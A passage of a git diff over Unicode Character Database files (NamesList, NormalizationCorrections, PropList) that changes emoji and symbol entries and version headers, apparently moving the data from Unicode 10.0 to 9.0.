1F181 NEGATIVE SQUARED LATIN CAPITAL LETTER R 1F182 NEGATIVE SQUARED LATIN CAPITAL LETTER S @@ -45782,15 +44375,10 @@ FFFF 1F19E SQUARED FOUR K 1F19F SQUARED EIGHT K 1F1A0 SQUARED FIVE POINT ONE - * denotes 5.1-channel surround sound 1F1A1 SQUARED SEVEN POINT ONE - * denotes 7.1-channel surround sound 1F1A2 SQUARED TWENTY-TWO POINT TWO - * denotes 22.2-channel surround sound 1F1A3 SQUARED SIXTY P - * denotes 60Hz frame rate with progressive scanning 1F1A4 SQUARED ONE HUNDRED TWENTY P - * denotes 120Hz frame rate with progressive scanning 1F1A5 SQUARED LATIN SMALL LETTER D = data 1F1A6 SQUARED HC @@ -45834,6 +44422,7 @@ FFFF 1F1FD REGIONAL INDICATOR SYMBOL LETTER X 1F1FE REGIONAL INDICATOR SYMBOL LETTER Y 1F1FF REGIONAL INDICATOR SYMBOL LETTER Z +@~ ! @@ 1F200 Enclosed Ideographic Supplement 1F2FF @ Squared hiragana from ARIB STD B24 1F200 SQUARE HIRAGANA HOKA @@ -45846,6 +44435,8 @@ FFFF 1F202 SQUARED KATAKANA SA = service sign x (circled katakana sa - 32DA) + ~ 1F202 FE0E text style + ~ 1F202 FE0F emoji style # 30B5 @ Squared ideographs and kana from ARIB STD B24 1F210 SQUARED CJK UNIFIED IDEOGRAPH-624B @@ -45882,6 +44473,8 @@ FFFF 1F21A SQUARED CJK UNIFIED IDEOGRAPH-7121 = free broadcasting service = non-existence sign + ~ 1F21A FE0E text style + ~ 1F21A FE0F emoji style # 7121 1F21B SQUARED CJK UNIFIED IDEOGRAPH-6599 = pay broadcasting service @@ -45946,6 +44539,8 @@ FFFF 1F22F SQUARED CJK UNIFIED IDEOGRAPH-6307 = designated hitter = reserved sign + ~ 1F22F FE0E text style + ~ 1F22F FE0F emoji style # 6307 1F230 SQUARED CJK UNIFIED IDEOGRAPH-8D70 = runner @@ -45973,6 +44568,8 @@ FFFF 1F237 SQUARED CJK UNIFIED IDEOGRAPH-6708 = monthly sign x (circled ideograph moon - 328A) + ~ 1F237 FE0E text style + ~ 1F237 FE0F emoji style # 6708 1F238 SQUARED CJK UNIFIED IDEOGRAPH-7533 = application sign @@ -46021,28 +44618,7 @@ FFFF 1F251 CIRCLED IDEOGRAPH ACCEPT = accept sign # 53EF -@ Symbols for Chinese folk religion -1F260 ROUNDED SYMBOL FOR FU - * luck - x 798F -1F261 ROUNDED SYMBOL FOR LU - * prosperity - x 797F - x 7984 -1F262 ROUNDED SYMBOL FOR SHOU - * longevity - x 58FD - x 5BFF -1F263 ROUNDED SYMBOL FOR XI - * happiness - x 559C -1F264 ROUNDED SYMBOL FOR SHUANGXI - * double happiness, love and marriage - x 56CD -1F265 ROUNDED SYMBOL FOR CAI - * wealth - x 8CA1 - x 8D22 +@~ ! @@ 1F300 Miscellaneous Symbols and Pictographs 1F5FF @ Weather, landscape, and sky symbols 1F300 CYCLONE @@ -46059,7 +44635,6 @@ FFFF 1F308 RAINBOW 1F309 BRIDGE AT NIGHT 1F30A WATER WAVE - = tsunami, tidal wave 1F30B VOLCANO 1F30C MILKY WAY @ Globe symbols @@ -46097,6 +44672,8 @@ FFFF @ Weather symbols 1F321 THERMOMETER = temperature, warm + ~ 1F321 FE0E text style + ~ 1F321 FE0F emoji style 1F322 BLACK DROPLET = droplet x (droplet - 1F4A7) @@ -46106,23 +44683,41 @@ FFFF 1F324 WHITE SUN WITH SMALL CLOUD = mostly sunny x (sun behind cloud - 26C5) + ~ 1F324 FE0E text style + ~ 1F324 FE0F emoji style 1F325 WHITE SUN BEHIND CLOUD = mostly cloudy + ~ 1F325 FE0E text style + ~ 1F325 FE0F emoji style 1F326 WHITE SUN BEHIND CLOUD WITH RAIN = showers + ~ 1F326 FE0E text style + ~ 1F326 FE0F emoji style 1F327 CLOUD WITH RAIN = rain + ~ 1F327 FE0E text style + ~ 1F327 FE0F emoji style 1F328 CLOUD WITH SNOW = snow, snow showers + ~ 1F328 FE0E text style + ~ 1F328 FE0F emoji style 1F329 CLOUD WITH LIGHTNING = lightning, thunderstorm x (thunder cloud and rain - 26C8) + ~ 1F329 FE0E text style + ~ 1F329 FE0F emoji style 1F32A CLOUD WITH TORNADO = tornado, twister + ~ 1F32A FE0E text style + ~ 1F32A FE0F emoji style 1F32B FOG x (foggy - 1F301) + ~ 1F32B FE0E text style + ~ 1F32B FE0F emoji style 1F32C WIND BLOWING FACE = wind + ~ 1F32C FE0E text style + ~ 1F32C FE0F emoji style @ Food symbols 1F32D HOT DOG 1F32E TACO @@ -46139,6 +44734,8 @@ FFFF x (desert - 1F3DC) 1F336 HOT PEPPER = hot, spicy + ~ 1F336 FE0E text style + ~ 1F336 FE0F emoji style 1F337 TULIP x (flower - 2698) 1F338 CHERRY BLOSSOM @@ -46241,6 +44838,8 @@ FFFF 1F37D FORK AND KNIFE WITH PLATE = dining x (fork and knife - 1F374) + ~ 1F37D FE0E text style + ~ 1F37D FE0F emoji style @ Beverage and food symbols 1F37E BOTTLE WITH POPPING CORK 1F37F POPCORN @@ -46286,18 +44885,28 @@ FFFF = occasion x (bouquet - 1F490) 1F396 MILITARY MEDAL + ~ 1F396 FE0E text style + ~ 1F396 FE0F emoji style 1F397 REMINDER RIBBON + ~ 1F397 FE0E text style + ~ 1F397 FE0F emoji style @ Musical symbols 1F398 MUSICAL KEYBOARD WITH JACKS - = midi, midi keyboard, master keyboard with plugs + = midi, midi keyboard x (musical keyboard - 1F3B9) 1F399 STUDIO MICROPHONE = microphone x (microphone - 1F3A4) + ~ 1F399 FE0E text style + ~ 1F399 FE0F emoji style 1F39A LEVEL SLIDER = level control + ~ 1F39A FE0E text style + ~ 1F39A FE0F emoji style 1F39B CONTROL KNOBS = audio control + ~ 1F39B FE0E text style + ~ 1F39B FE0F emoji style 1F39C BEAMED ASCENDING MUSICAL NOTES = musical performance = music, musical background @@ -46310,9 +44919,13 @@ FFFF 1F39E FILM FRAMES = film clip x (movie camera - 1F3A5) + ~ 1F39E FE0E text style + ~ 1F39E FE0F emoji style 1F39F ADMISSION TICKETS = ticket x (ticket - 1F3AB) + ~ 1F39F FE0E text style + ~ 1F39F FE0F emoji style 1F3A0 CAROUSEL HORSE = amusement park 1F3A1 FERRIS WHEEL @@ -46352,6 +44965,7 @@ FFFF x (bullseye - 25CE) 1F3B0 SLOT MACHINE 1F3B1 BILLIARDS + * sometimes depicted as just an 8-ball 1F3B2 GAME DIE 1F3B3 BOWLING 1F3B4 FLOWER PLAYING CARDS @@ -46372,7 +44986,7 @@ FFFF 1F3BC MUSICAL SCORE x (musical symbol g clef - 1D11E) @ Sport symbols -@+ See other sport symbols in the Miscellaneous Symbols block. +@+ See other sport symbols in the Miscelleaneous Symbols block. 1F3BD RUNNING SHIRT WITH SASH = ekiden (Japanese) * running shirt with separate sash signifies long-distance relay running @@ -46401,12 +45015,20 @@ FFFF 1F3CA SWIMMER 1F3CB WEIGHT LIFTER = health + ~ 1F3CB FE0E text style + ~ 1F3CB FE0F emoji style 1F3CC GOLFER + ~ 1F3CC FE0E text style + ~ 1F3CC FE0F emoji style 1F3CD RACING MOTORCYCLE = motorcycle * may be depicted as an ordinary motorcycle, especially in emoji presentation + ~ 1F3CD FE0E text style + ~ 1F3CD FE0F emoji style 1F3CE RACING CAR = race car + ~ 1F3CE FE0E text style + ~ 1F3CE FE0F emoji style 1F3CF CRICKET BAT AND BALL 1F3D0 VOLLEYBALL 1F3D1 FIELD HOCKEY STICK AND BALL @@ -46415,33 +45037,58 @@ FFFF @ Building and map symbols 1F3D4 SNOW CAPPED MOUNTAIN x (mountain - 26F0) + ~ 1F3D4 FE0E text style + ~ 1F3D4 FE0F emoji style 1F3D5 CAMPING = camping site x (tent - 26FA) + ~ 1F3D5 FE0E text style + ~ 1F3D5 FE0F emoji style 1F3D6 BEACH WITH UMBRELLA x (umbrella on ground - 26F1) + ~ 1F3D6 FE0E text style + ~ 1F3D6 FE0F emoji style 1F3D7 BUILDING CONSTRUCTION = under construction x (construction sign - 1F6A7) + ~ 1F3D7 FE0E text style + ~ 1F3D7 FE0F emoji style 1F3D8 HOUSE BUILDINGS = town x (house with garden - 1F3E1) + ~ 1F3D8 FE0E text style + ~ 1F3D8 FE0F emoji style 1F3D9 CITYSCAPE = skyline, city x (cityscape at dusk - 1F306) + ~ 1F3D9 FE0E text style + ~ 1F3D9 FE0F emoji style 1F3DA DERELICT HOUSE BUILDING = derelict site + ~ 1F3DA FE0E text style + ~ 1F3DA FE0F emoji style 1F3DB CLASSICAL BUILDING = public building + ~ 1F3DB FE0E text style + ~ 1F3DB FE0F emoji style 1F3DC DESERT + = desert x (cactus - 1F335) + ~ 1F3DC FE0E text style + ~ 1F3DC FE0F emoji style 1F3DD DESERT ISLAND = island x (palm tree - 1F334) + ~ 1F3DD FE0E text style + ~ 1F3DD FE0F emoji style 1F3DE NATIONAL PARK * by semantic extension has come to connote saving trees, and hence is also used as a symbol meaning "do not print this (email, document)" x (evergreen tree - 1F332) + ~ 1F3DE FE0E text style + ~ 1F3DE FE0F emoji style 1F3DF STADIUM + ~ 1F3DF FE0E text style + ~ 1F3DF FE0F emoji style 1F3E0 HOUSE BUILDING 1F3E1 HOUSE WITH GARDEN = home, house with yard @@ -46479,16 +45126,22 @@ FFFF 1F3F3 WAVING WHITE FLAG = flag x (white flag - 2690) + ~ 1F3F3 FE0E text style + ~ 1F3F3 FE0F emoji style 1F3F4 WAVING BLACK FLAG @ Rosettes 1F3F5 ROSETTE x (white florette - 2740) + ~ 1F3F5 FE0E text style + ~ 1F3F5 FE0F emoji style 1F3F6 BLACK ROSETTE x (eight petalled outlined black florette - 2741) @ Miscellaneous symbol 1F3F7 LABEL = price, price tag x (bookmark - 1F516) + ~ 1F3F7 FE0E text style + ~ 1F3F7 FE0F emoji style @ Sport symbols 1F3F8 BADMINTON RACQUET AND SHUTTLECOCK 1F3F9 BOW AND ARROW @@ -46612,10 +45265,14 @@ FFFF x (footprints - 1F463) 1F43F CHIPMUNK = animal, critter + ~ 1F43F FE0E text style + ~ 1F43F FE0F emoji style @ Facial parts symbols 1F440 EYES 1F441 EYE = sight + ~ 1F441 FE0E text style + ~ 1F441 FE0F emoji style 1F442 EAR 1F443 NOSE 1F444 MOUTH @@ -46676,10 +45333,8 @@ FFFF = accounts 1F466 BOY 1F467 GIRL - x (child - 1F9D2) 1F468 MAN 1F469 WOMAN - x (adult - 1F9D1) 1F46A FAMILY = rated for family 1F46B MAN AND WOMAN HOLDING HANDS @@ -46697,7 +45352,6 @@ FFFF * may be shown with or without a beard 1F474 OLDER MAN 1F475 OLDER WOMAN - x (older adult - 1F9D3) 1F476 BABY 1F477 CONSTRUCTION WORKER * the helmet may show a green cross, used as a safety reminder in Japan @@ -46710,7 +45364,6 @@ FFFF 1F47B GHOST 1F47C BABY ANGEL 1F47D EXTRATERRESTRIAL ALIEN - x (flying saucer - 1F6F8) 1F47E ALIEN MONSTER x (robot face - 1F916) 1F47F IMP @@ -46722,6 +45375,7 @@ FFFF 1F482 GUARDSMAN 1F483 DANCER * also used for "let's party" + * may be depicted as gender neutral x (man dancing - 1F57A) @ Personal care symbols 1F484 LIPSTICK @@ -46761,7 +45415,6 @@ FFFF x (white heart suit - 2661) x (black heart suit - 2665) x (heavy black heart - 2764) - x (orange heart - 1F9E1) 1F49A GREEN HEART 1F49B YELLOW HEART 1F49C PURPLE HEART @@ -46789,7 +45442,7 @@ FFFF = running dash, briffits 1F4A9 PILE OF POO = dog dirt - * may be depicted with or without a friendly face + * may be depicted with a friendly face 1F4AA FLEXED BICEPS = strong, muscled 1F4AB DIZZY SYMBOL @@ -46933,6 +45586,8 @@ FFFF 1F4FD FILM PROJECTOR = movies x (cinema - 1F3A6) + ~ 1F4FD FE0E text style + ~ 1F4FD FE0F emoji style 1F4FE PORTABLE STEREO = stereo @ Religious symbol @@ -47085,8 +45740,12 @@ FFFF 1F549 OM SYMBOL * generic symbol independent of Devanagari font x (devanagari om - 0950) + ~ 1F549 FE0E text style + ~ 1F549 FE0F emoji style 1F54A DOVE OF PEACE = peace + ~ 1F54A FE0E text style + ~ 1F54A FE0F emoji style 1F54B KAABA 1F54C MOSQUE 1F54D SYNAGOGUE @@ -47140,25 +45799,43 @@ FFFF 1F56E BOOK x (open book - 1F4D6) 1F56F CANDLE + ~ 1F56F FE0E text style + ~ 1F56F FE0F emoji style 1F570 MANTELPIECE CLOCK = clock x (alarm clock - 23F0) + ~ 1F570 FE0E text style + ~ 1F570 FE0F emoji style 1F571 BLACK SKULL AND CROSSBONES x (skull and crossbones - 2620) 1F572 NO PIRACY 1F573 HOLE = portable hole + ~ 1F573 FE0E text style + ~ 1F573 FE0F emoji style 1F574 MAN IN BUSINESS SUIT LEVITATING = jump + ~ 1F574 FE0E text style + ~ 1F574 FE0F emoji style 1F575 SLEUTH OR SPY = investigate + ~ 1F575 FE0E text style + ~ 1F575 FE0F emoji style 1F576 DARK SUNGLASSES = cool + ~ 1F576 FE0E text style + ~ 1F576 FE0F emoji style @ Animal symbols 1F577 SPIDER + ~ 1F577 FE0E text style + ~ 1F577 FE0F emoji style 1F578 SPIDER WEB + ~ 1F578 FE0E text style + ~ 1F578 FE0F emoji style @ Game symbol 1F579 JOYSTICK + ~ 1F579 FE0E text style + ~ 1F579 FE0F emoji style @ Role symbol 1F57A MAN DANCING * forms a gender pair with 1F483 @@ -47195,6 +45872,8 @@ FFFF 1F587 LINKED PAPERCLIPS = links x (paperclip - 1F4CE) + ~ 1F587 FE0E text style + ~ 1F587 FE0F emoji style 1F588 BLACK PUSHPIN = marker x (pushpin - 1F4CC) @@ -47203,13 +45882,21 @@ FFFF x (lower right pencil - 270E) 1F58A LOWER LEFT BALLPOINT PEN = ballpoint pen + ~ 1F58A FE0E text style + ~ 1F58A FE0F emoji style 1F58B LOWER LEFT FOUNTAIN PEN = fountain pen x (white nib - 2711) + ~ 1F58B FE0E text style + ~ 1F58B FE0F emoji style 1F58C LOWER LEFT PAINTBRUSH = brush + ~ 1F58C FE0E text style + ~ 1F58C FE0F emoji style 1F58D LOWER LEFT CRAYON = crayon + ~ 1F58D FE0E text style + ~ 1F58D FE0F emoji style @ Hand symbols 1F58E LEFT WRITING HAND x (writing hand - 270D) @@ -47218,6 +45905,8 @@ FFFF 1F590 RAISED HAND WITH FINGERS SPLAYED = halt x (raised hand - 270B) + ~ 1F590 FE0E text style + ~ 1F590 FE0F emoji style 1F591 REVERSED RAISED HAND WITH FINGERS SPLAYED 1F592 REVERSED THUMBS UP SIGN x (thumbs up sign - 1F44D) @@ -47258,12 +45947,16 @@ FFFF @ Computer symbols 1F5A5 DESKTOP COMPUTER = tower computer + ~ 1F5A5 FE0E text style + ~ 1F5A5 FE0F emoji style 1F5A6 KEYBOARD AND MOUSE x (keyboard - 2328) 1F5A7 THREE NETWORKED COMPUTERS = computer network 1F5A8 PRINTER x (fax machine - 1F4E0) + ~ 1F5A8 FE0E text style + ~ 1F5A8 FE0F emoji style 1F5A9 POCKET CALCULATOR = calculator 1F5AA BLACK HARD SHELL FLOPPY DISK @@ -47278,8 +45971,12 @@ FFFF 1F5AF ONE BUTTON MOUSE 1F5B0 TWO BUTTON MOUSE 1F5B1 THREE BUTTON MOUSE + ~ 1F5B1 FE0E text style + ~ 1F5B1 FE0F emoji style 1F5B2 TRACKBALL = ballpoint + ~ 1F5B2 FE0E text style + ~ 1F5B2 FE0F emoji style 1F5B3 OLD PERSONAL COMPUTER = personal computer x (personal computer - 1F4BB) @@ -47301,6 +45998,8 @@ FFFF = graphic document 1F5BC FRAME WITH PICTURE = art + ~ 1F5BC FE0E text style + ~ 1F5BC FE0F emoji style 1F5BD FRAME WITH TILES = frames 1F5BE FRAME WITH AN X @@ -47315,9 +46014,15 @@ FFFF 1F5C2 CARD INDEX DIVIDERS = index x (card index - 1F4C7) + ~ 1F5C2 FE0E text style + ~ 1F5C2 FE0F emoji style 1F5C3 CARD FILE BOX = archive + ~ 1F5C3 FE0E text style + ~ 1F5C3 FE0F emoji style 1F5C4 FILE CABINET + ~ 1F5C4 FE0E text style + ~ 1F5C4 FE0F emoji style 1F5C5 EMPTY NOTE 1F5C6 EMPTY NOTE PAGE 1F5C7 EMPTY NOTE PAD @@ -47334,12 +46039,18 @@ FFFF 1F5D0 PAGES 1F5D1 WASTEBASKET = trashcan + ~ 1F5D1 FE0E text style + ~ 1F5D1 FE0F emoji style 1F5D2 SPIRAL NOTE PAD = note, empty calendar x (calendar - 1F4C5) + ~ 1F5D2 FE0E text style + ~ 1F5D2 FE0F emoji style 1F5D3 SPIRAL CALENDAR PAD = calendar, day 1 x (tear-off calendar - 1F4C6) + ~ 1F5D3 FE0E text style + ~ 1F5D3 FE0F emoji style 1F5D4 DESKTOP WINDOW 1F5D5 MINIMIZE 1F5D6 MAXIMIZE @@ -47355,13 +46066,19 @@ FFFF 1F5DB DECREASE FONT SIZE SYMBOL 1F5DC COMPRESSION * symbol depicts a hand press with a box inside + ~ 1F5DC FE0E text style + ~ 1F5DC FE0F emoji style 1F5DD OLD KEY = encryption x (key - 1F511) + ~ 1F5DD FE0E text style + ~ 1F5DD FE0F emoji style @ Miscellaneous symbols 1F5DE ROLLED-UP NEWSPAPER = news x (newspaper - 1F4F0) + ~ 1F5DE FE0E text style + ~ 1F5DE FE0F emoji style 1F5DF PAGE WITH CIRCLED TEXT = classified 1F5E0 STOCK CHART @@ -47373,12 +46090,16 @@ FFFF = rated for violence = hate x (hocho - 1F52A) + ~ 1F5E1 FE0E text style + ~ 1F5E1 FE0F emoji style 1F5E2 LIPS = rated for sex = kiss x (kiss mark - 1F48B) 1F5E3 SPEAKING HEAD IN SILHOUETTE = rated for strong language + ~ 1F5E3 FE0E text style + ~ 1F5E3 FE0F emoji style @ Sound symbols 1F5E4 THREE RAYS ABOVE 1F5E5 THREE RAYS BELOW @@ -47388,6 +46109,8 @@ FFFF x (three lines converging left - 269F) @ Bubble symbols 1F5E8 LEFT SPEECH BUBBLE + ~ 1F5E8 FE0E text style + ~ 1F5E8 FE0F emoji style 1F5E9 RIGHT SPEECH BUBBLE 1F5EA TWO SPEECH BUBBLES = chat @@ -47400,6 +46123,8 @@ FFFF = shout left 1F5EF RIGHT ANGER BUBBLE = shout right + ~ 1F5EF FE0E text style + ~ 1F5EF FE0F emoji style 1F5F0 MOOD BUBBLE = new x (collision symbol - 1F4A5) @@ -47412,6 +46137,8 @@ FFFF 1F5F3 BALLOT BOX WITH BALLOT = vote x (ballot box with x - 2612) + ~ 1F5F3 FE0E text style + ~ 1F5F3 FE0F emoji style 1F5F4 BALLOT SCRIPT X = x mark x (ballot x - 2717) @@ -47427,6 +46154,8 @@ FFFF x (ballot box with check - 2611) @ Map symbol 1F5FA WORLD MAP + ~ 1F5FA FE0E text style + ~ 1F5FA FE0F emoji style @ Cultural symbols 1F5FB MOUNT FUJI 1F5FC TOKYO TOWER @@ -47434,6 +46163,7 @@ FFFF 1F5FE SILHOUETTE OF JAPAN 1F5FF MOYAI * Japanese stone statue like Moai on Easter Island +@~ ! @@ 1F600 Emoticons 1F64F @+ The emoticons have been organized by mouth shape to make it easier to locate the different characters in the code chart. @ Faces @@ -47736,14 +46466,22 @@ FFFF @+ These symbols constitute a set along with 1F378 for lounge. 1F6CB COUCH AND LAMP = furniture, lifestyles + ~ 1F6CB FE0E text style + ~ 1F6CB FE0F emoji style 1F6CC SLEEPING ACCOMMODATION = hotel, guestrooms x (hotel - 1F3E8) 1F6CD SHOPPING BAGS = shopping + ~ 1F6CD FE0E text style + ~ 1F6CD FE0F emoji style 1F6CE BELLHOP BELL = reception, services + ~ 1F6CE FE0E text style + ~ 1F6CE FE0F emoji style 1F6CF BED + ~ 1F6CF FE0E text style + ~ 1F6CF FE0F emoji style @ Signage and other symbols 1F6D0 PLACE OF WORSHIP 1F6D1 OCTAGONAL SIGN @@ -47751,27 +46489,35 @@ FFFF * may contain text indicating stop x (warning sign - 26A0) x (heavy white down-pointing triangle - 26DB) - x (horizontal black octagon - 2BC3) 1F6D2 SHOPPING TROLLEY = shopping cart -@ Map symbols -1F6D3 STUPA -1F6D4 PAGODA @ Miscellaneous symbols 1F6E0 HAMMER AND WRENCH = tools, repair facility x (hammer and pick - 2692) + ~ 1F6E0 FE0E text style + ~ 1F6E0 FE0F emoji style 1F6E1 SHIELD = US road interstate highway + ~ 1F6E1 FE0E text style + ~ 1F6E1 FE0F emoji style 1F6E2 OIL DRUM = commodities + ~ 1F6E2 FE0E text style + ~ 1F6E2 FE0F emoji style 1F6E3 MOTORWAY + ~ 1F6E3 FE0E text style + ~ 1F6E3 FE0F emoji style 1F6E4 RAILWAY TRACK = railroad + ~ 1F6E4 FE0E text style + ~ 1F6E4 FE0F emoji style @ Vehicles 1F6E5 MOTOR BOAT = boat x (speedboat - 1F6A4) + ~ 1F6E5 FE0E text style + ~ 1F6E5 FE0F emoji style 1F6E6 UP-POINTING MILITARY AIRPLANE = military airport 1F6E7 UP-POINTING AIRPLANE @@ -47780,12 +46526,16 @@ FFFF 1F6E8 UP-POINTING SMALL AIRPLANE = airfield 1F6E9 SMALL AIRPLANE + ~ 1F6E9 FE0E text style + ~ 1F6E9 FE0F emoji style 1F6EA NORTHEAST-POINTING AIRPLANE 1F6EB AIRPLANE DEPARTURE = departures 1F6EC AIRPLANE ARRIVING = arrivals 1F6F0 SATELLITE + ~ 1F6F0 FE0E text style + ~ 1F6F0 FE0F emoji style 1F6F1 ONCOMING FIRE ENGINE = fire x (fire engine - 1F692) @@ -47796,14 +46546,12 @@ FFFF 1F6F3 PASSENGER SHIP = cruise line vacation x (ship - 1F6A2) + ~ 1F6F3 FE0E text style + ~ 1F6F3 FE0F emoji style 1F6F4 SCOOTER 1F6F5 MOTOR SCOOTER 1F6F6 CANOE -1F6F7 SLED - = sledge, toboggan -1F6F8 FLYING SAUCER - = UFO - x (extraterrestrial alien - 1F47D) +@~ ! @@ 1F700 Alchemical Symbols 1F77F @ Symbols for Aristotelian elements 1F700 ALCHEMICAL SYMBOL FOR QUINTESSENCE @@ -48048,6 +46796,7 @@ FFFF 1F785 MEDIUM BOLD WHITE CIRCLE x (medium white circle - 26AA) 1F786 BOLD WHITE CIRCLE + = very heavy circle 1F787 HEAVY WHITE CIRCLE 1F788 VERY HEAVY WHITE CIRCLE 1F789 EXTREMELY HEAVY WHITE CIRCLE @@ -48356,20 +47105,6 @@ FFFF 1F8AC WHITE ARROW SHAFT WIDTH ONE 1F8AD WHITE ARROW SHAFT WIDTH TWO THIRDS @@ 1F900 Supplemental Symbols and Pictographs 1F9FF -@ Typicon symbols -1F900 CIRCLED CROSS FORMEE WITH FOUR DOTS -1F901 CIRCLED CROSS FORMEE WITH TWO DOTS -1F902 CIRCLED CROSS FORMEE - x (maltese cross - 2720) -1F903 LEFT HALF CIRCLE WITH FOUR DOTS -1F904 LEFT HALF CIRCLE WITH THREE DOTS -1F905 LEFT HALF CIRCLE WITH TWO DOTS -1F906 LEFT HALF CIRCLE WITH DOT -1F907 LEFT HALF CIRCLE -1F908 DOWNWARD FACING HOOK -1F909 DOWNWARD FACING NOTCHED HOOK -1F90A DOWNWARD FACING HOOK WITH DOT -1F90B DOWNWARD FACING NOTCHED HOOK WITH DOT @ Emoticon faces 1F910 ZIPPER-MOUTH FACE 1F911 MONEY-MOUTH FACE @@ -48388,8 +47123,6 @@ FFFF 1F91C RIGHT-FACING FIST 1F91D HANDSHAKE 1F91E HAND WITH INDEX AND MIDDLE FINGERS CROSSED -1F91F I LOVE YOU HAND SIGN - * can be abbreviated ILY @ Emoticon faces 1F920 FACE WITH COWBOY HAT 1F921 CLOWN FACE @@ -48401,19 +47134,9 @@ FFFF 1F926 FACE PALM = frustration, disbelief 1F927 SNEEZING FACE - = Gesundheit -1F928 FACE WITH ONE EYEBROW RAISED -1F929 GRINNING FACE WITH STAR EYES -1F92A GRINNING FACE WITH ONE LARGE AND ONE SMALL EYE -1F92B FACE WITH FINGER COVERING CLOSED LIPS -1F92C SERIOUS FACE WITH SYMBOLS COVERING MOUTH -1F92D SMILING FACE WITH SMILING EYES AND HAND COVERING MOUTH -1F92E FACE WITH OPEN MOUTH VOMITING -1F92F SHOCKED FACE WITH EXPLODING HEAD + = gesundheit @ Portrait and role symbols 1F930 PREGNANT WOMAN -1F931 BREAST-FEEDING -1F932 PALMS UP TOGETHER 1F933 SELFIE * typically used with face or human figure on the left 1F934 PRINCE @@ -48463,7 +47186,6 @@ FFFF = boxing 1F94B MARTIAL ARTS UNIFORM = judo, karate, taekwondo -1F94C CURLING STONE @ Food symbols 1F950 CROISSANT 1F951 AVOCADO @@ -48488,27 +47210,6 @@ FFFF 1F95E PANCAKES = hotcakes, crêpes, blini * sweet or savory -1F95F DUMPLING - = potsticker, gyooza, jiaozi, pierogi, empanada -1F960 FORTUNE COOKIE -1F961 TAKEOUT BOX - = take-away box, oyster pail -1F962 CHOPSTICKS - = kuaizi, hashi, jeotgarak -1F963 BOWL WITH SPOON - * can indicate breakfast, cereal, congee, etc. -1F964 CUP WITH STRAW - * can indicate soda, juice, etc. -1F965 COCONUT -1F966 BROCCOLI -1F967 PIE - * may be sweet or savory -1F968 PRETZEL - * can indicate twistiness, intricacy -1F969 CUT OF MEAT - = porkchop, chop, steak -1F96A SANDWICH -1F96B CANNED FOOD @ Animal symbols 1F980 CRAB * used for Cancer @@ -48534,61 +47235,8 @@ FFFF 1F98F RHINOCEROS 1F990 SHRIMP 1F991 SQUID -1F992 GIRAFFE FACE -1F993 ZEBRA FACE -1F994 HEDGEHOG -1F995 SAUROPOD - * includes Brontosaurus, Diplodocus, Brachiosaurus -1F996 T-REX - = Tyrannosaurus rex -1F997 CRICKET @ Food symbol 1F9C0 CHEESE WEDGE -@ Portrait and role symbols -1F9D0 FACE WITH MONOCLE -1F9D1 ADULT - * no specified gender - x (man - 1F468) - x (woman - 1F469) -1F9D2 CHILD - * no specified gender - x (boy - 1F466) - x (girl - 1F467) -1F9D3 OLDER ADULT - * no specified gender - x (older man - 1F474) - x (older woman - 1F475) -1F9D4 BEARDED PERSON -1F9D5 PERSON WITH HEADSCARF - = woman's headscarf, hijab -1F9D6 PERSON IN STEAMY ROOM - = sauna, steam room -1F9D7 PERSON CLIMBING -1F9D8 PERSON IN LOTUS POSITION - = yoga, meditation -@ Fantasy beings -1F9D9 MAGE - = wizard, witch, sorcerer, sorceress -1F9DA FAIRY -1F9DB VAMPIRE -1F9DC MERPERSON - = mermaid, merman -1F9DD ELF -1F9DE GENIE -1F9DF ZOMBIE -@ Miscellaneous symbols -1F9E0 BRAIN -1F9E1 ORANGE HEART - x (blue heart - 1F499) - x (green heart - 1F49A) - x (yellow heart - 1F49B) - x (purple heart - 1F49C) -1F9E2 BILLED CAP - = baseball cap -1F9E3 SCARF -1F9E4 GLOVES -1F9E5 COAT -1F9E6 SOCKS @@ 1FF80 Unassigned 1FFFF @ Noncharacters @+ These codes are intended for process-internal uses. @@ -48598,7 +47246,6 @@ FFFF @@ 2A700 CJK Unified Ideographs Extension C 2B734 @@ 2B740 CJK Unified Ideographs Extension D 2B81D @@ 2B820 CJK Unified Ideographs Extension E 2CEA1 -@@ 2CEB0 CJK Unified Ideographs Extension F 2EBE0 @@ 2F800 CJK Compatibility Ideographs Supplement 2FA1F @ Duplicate characters from CNS 11643-1992 2F800 CJK COMPATIBILITY IDEOGRAPH-2F800 @@ -49861,9 +48508,8 @@ E007E TAG TILDE @ Stateful tag terminator E007F CANCEL TAG @@ E0100 Variation Selectors Supplement E01EF -@+ These complete the set started at FE00 to FE0F. -@ Ideographic-specific variation selectors -@+ For documentation about use of these with ideographs, see UTS #37, Unicode Ideographic Variation Database. +@+ These complete the set started at FE00 to FE0F +@ Variation selectors E0100 VARIATION SELECTOR-17 * these are abbreviated VS17, and so on E0101 VARIATION SELECTOR-18 diff --git a/lib/unicore/NormalizationCorrections.txt b/lib/unicore/NormalizationCorrections.txt index f7fc35e52c20..836d29c10064 100644 --- a/lib/unicore/NormalizationCorrections.txt +++ b/lib/unicore/NormalizationCorrections.txt @@ -1,6 +1,6 @@ -# NormalizationCorrections-10.0.0.txt -# Date: 2017-04-13, 01:00:00 GMT [KW, LI] -# © 2017 Unicode®, Inc. +# NormalizationCorrections-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [KW, LI] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database @@ -27,7 +27,7 @@ # # Currently this list has exactly six entries in it, one for the # typo found and corrected in Corrigendum #3, and five for -# the typos and misidentifications found and corrected in +# the typos and misidentifications found and corrected in # Corrigendum #4. All efforts # will be made to keep the entries limited to just those fixes. # @@ -37,7 +37,7 @@ # Field 2: Corrected decomposition # Field 3: Version of Unicode for which the correction was # entered into UnicodeData.txt, in n.n.n format. -# Comment: Indicates the Unicode Corrigendum which documents +# Comment: Indicates the Unicode Corrigendum which documents # the correction # # For more information, see UAX #15, Unicode Normalization Forms. diff --git a/lib/unicore/PropList.txt b/lib/unicore/PropList.txt index 9a2d0e4b1c6d..a8c0da7135a7 100644 --- a/lib/unicore/PropList.txt +++ b/lib/unicore/PropList.txt @@ -1,6 +1,6 @@ -# PropList-10.0.0.txt -# Date: 2017-03-10, 08:25:30 GMT -# © 2017 Unicode®, Inc. +# PropList-9.0.0.txt +# Date: 2016-06-01, 10:34:30 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -199,9 +199,6 @@ FF64 ; Terminal_Punctuation # Po HALFWIDTH IDEOGRAPHIC COMMA 